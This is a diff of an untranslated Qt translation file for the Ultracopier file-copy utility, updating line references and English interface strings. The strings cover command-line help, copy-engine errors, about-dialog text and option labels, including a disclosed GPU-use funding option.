- <source>To quit the other instance running (if have)</source>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="151"/>
- <location filename="../../../CliParser.cpp" line="161"/>
- <source>To pass transfer list to do</source>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="152"/>
- <location filename="../../../CliParser.cpp" line="162"/>
- <source>To copy sources separated by space to destination. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <source>This file is not supported transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="153"/>
- <location filename="../../../CliParser.cpp" line="163"/>
- <source>Same as above, but with move</source>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <source>Unable to open the transfer list file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="157"/>
- <source>Command line not understand</source>
+ <location filename="../../../CliParser.cpp" line="160"/>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="163"/>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="168"/>
+ <location filename="../../../CliParser.cpp" line="181"/>
<source>Help</source>
<translation type="unfinished"></translation>
</message>
@@ -82,396 +88,479 @@
<context>
<name>CopyEngineManager</name>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <source>Cannot find any copy engine with motions support</source>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <source>Cannot find any compatible engine!</source>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <source>This copy engine does not support motions</source>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <source>Cannot find any compatible engine!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Cannot find any engine with this name: %1</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
<name>Core</name>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
- <location filename="../../../Core.cpp" line="234"/>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
<source>Unable to get a copy engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="234"/>
- <source>The argument for the mode is not understand</source>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Group window</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
<source>Unable to load the interface, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Unable to load the copy engine, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
+ <location filename="../../../Core.cpp" line="1133"/>
<source>Transfer mode</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>EventDispatcher</name>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
- <source>Do you want do as a copy? Else if you reply no, it will be moved.</source>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>FacilityEngine</name>
<message>
- <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
<source>Copy</source>
+ <extracomment>a copy</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="42"/>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
<source>Move</source>
+ <extracomment>a move</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
<source>Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="44"/>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
<source>Resume</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="45"/>
- <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
<source>Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="46"/>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
<source>Unlimited</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="24"/>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
<source>s</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="25"/>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
<source>Too big</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="26"/>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
<source>B</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
<source>KB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
<source>MB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
<source>GB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
<source>TB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
<source>PB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
<source>EB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
<source>ZB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
<source>YB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
<source>Less than %10 seconds</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
<source>About %10 seconds remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
<source>About %1 minutes remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
<source>About %1 hours remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
<source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="48"/>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
<source>Size</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
<source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
<source>Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
<source>Target</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="52"/>
- <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
<source>Time remaining:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
<source>Listing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
<source>Copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
<source>Listing and copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
<source>Ask</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
<source>Overwrite</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
<source>Overwrite if newer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
<source>Overwrite if the last modification dates are different</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
<source>Rename</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="64"/>
- <source>Put to end of the list</source>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="65"/>
+ <location filename="../../../FacilityEngine.cpp" line="73"/>
<source>Select source directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
<source>Select destination directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
<source>Internal error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
<source>Select one or more files to open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
<source>All files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
<source>Save transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
<source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
<source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
<source>Not supported on this platform</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>HelpDialog</name>
<message>
- <location filename="../../../HelpDialog.ui" line="20"/>
- <source>About ultracopier</source>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="70"/>
- <source>Based on Qt. It provide advanced copier with more advanced feature. It&apos;s under GPL3.
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
This version is compiled as version: %1.</source>
<extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="88"/>
+ <location filename="../../../HelpDialog.ui" line="85"/>
<source>Platform: %1</source>
<extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="149"/>
+ <location filename="../../../HelpDialog.ui" line="121"/>
<source>About Qt</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="169"/>
+ <location filename="../../../HelpDialog.ui" line="141"/>
<source>Do a crash</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="176"/>
+ <location filename="../../../HelpDialog.ui" line="148"/>
<source>Save bug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="183"/>
+ <location filename="../../../HelpDialog.ui" line="155"/>
<source>Close</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="74"/>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
<source>For http://portableapps.com/</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="76"/>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="85"/>
<source>Portable version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="79"/>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
<source>Normal version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="85"/>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
<source>http://ultracopier.first-world.info/</source>
- <extracomment>This site need be the official site of ultracopier, into the right languages, english if not exists</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="78"/>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="75"/>
<source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
<extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
<translation type="unfinished"></translation>
@@ -480,12 +569,12 @@ This version is compiled as version: %1.</source>
<context>
<name>LocalListener</name>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Timeout while recomposing data from connected clients</source>
<translation type="unfinished"></translation>
</message>
@@ -493,21 +582,74 @@ This version is compiled as version: %1.</source>
<context>
<name>LogThread</name>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
<source>Log file already open, error: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
- <source>Unable to open file to keep the log file, error: %1</source>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -531,257 +673,318 @@ This version is compiled as version: %1.</source>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="66"/>
- <location filename="../../../OptionDialog.ui" line="275"/>
- <location filename="../../../OptionDialog.cpp" line="186"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="95"/>
- <location filename="../../../OptionDialog.ui" line="303"/>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="100"/>
+ <location filename="../../../OptionDialog.ui" line="97"/>
<source>Log</source>
<translation type="unfinished"></translation>
</message>
<message>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="312"/>
+ <source>Name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="317"/>
+ <source>Version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="327"/>
+ <source>Language</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="71"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
+ <source>Listener</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
+ <source>Plugin loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
+ <source>Session loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<location filename="../../../OptionDialog.ui" line="117"/>
- <source>Language:</source>
+ <source>Force the language</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="127"/>
- <source>Autodetect the system language:</source>
+ <source>Replace the default copy and move system</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="141"/>
- <source>Catch the copy/move as default:</source>
+ <source>Load at the session loading</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="155"/>
- <source>Load at the session loading:</source>
+ <source>When manual open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="265"/>
- <source>Name</source>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="270"/>
- <source>Version</source>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="280"/>
- <source>Language</source>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="71"/>
- <location filename="../../../OptionDialog.ui" line="288"/>
- <location filename="../../../OptionDialog.cpp" line="187"/>
- <source>Listener</source>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="79"/>
- <location filename="../../../OptionDialog.ui" line="293"/>
- <location filename="../../../OptionDialog.cpp" line="188"/>
- <source>Plugin loader</source>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="87"/>
- <location filename="../../../OptionDialog.ui" line="298"/>
- <location filename="../../../OptionDialog.cpp" line="189"/>
- <source>Session loader</source>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="311"/>
+ <location filename="../../../OptionDialog.ui" line="358"/>
<source>Plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="330"/>
+ <location filename="../../../OptionDialog.ui" line="377"/>
<source>Add</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="343"/>
+ <location filename="../../../OptionDialog.ui" line="390"/>
<source>Remove</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="353"/>
+ <location filename="../../../OptionDialog.ui" line="400"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="380"/>
+ <location filename="../../../OptionDialog.ui" line="427"/>
<source>Copy engine by order of preference:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="493"/>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
